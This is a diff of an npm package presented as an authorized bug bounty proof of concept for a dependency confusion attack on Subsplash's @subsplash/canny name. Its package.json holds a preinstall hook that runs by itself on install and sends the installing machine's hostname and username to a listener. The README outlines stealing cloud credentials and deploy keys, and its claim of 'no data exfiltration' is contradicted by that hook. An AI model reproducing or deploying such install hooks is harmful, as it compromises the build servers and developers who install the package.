@rutxploit-sec/subsplash-canny 1.0.0

package/README.md

@@ -0,0 +1,28 @@
+# @subsplash/canny — AUTHORIZED BUG BOUNTY POC
+
+**Program:** Subsplash on Bugcrowd (rutxploit)  
+**Finding:** Dependency Confusion Attack  
+**Severity:** P1 Critical  
+
+## What this proves
+
+This package was registered on the public npm registry to prove that:
+
+1. Subsplash references `@subsplash/canny` in their production code  
+   (visible in `https://ember.static.subsplash.com/prod/giving/assets/chunk.524.85239343af850eb1579b.js`)
+2. `@subsplash/canny` did NOT exist on the public npm registry  
+3. Any attacker could claim this name and inject malicious code  
+
+## How the attack works
+
+If Subsplash's CI/CD `npm install` resolves `@subsplash/canny` from the public registry  
+(instead of their private registry), the `preinstall` script runs on their build server.  
+
+A real attacker would use this for RCE: steal AWS credentials, deploy keys, source code.  
+
+## This PoC is safe
+
+This package only logs a message and sends a benign HTTP ping to a researcher-controlled  
+server as proof of execution. No destructive actions. No data exfiltration.
+
+**Report this to Bugcrowd immediately. Do not use maliciously.**

package/index.js

@@ -0,0 +1 @@
+var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@rutxploit-sec/subsplash-canny",
+  "version": "1.0.0",
+  "description": "BUGBOUNTY PoC — represents @subsplash/canny — @subsplash/canny (2 refs) — Subsplash report 7a8faa0b",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit'"
+  },
+  "author": "rutxploit-sec (authorized Bugcrowd — 7a8faa0b)",
+  "license": "ISC"
+}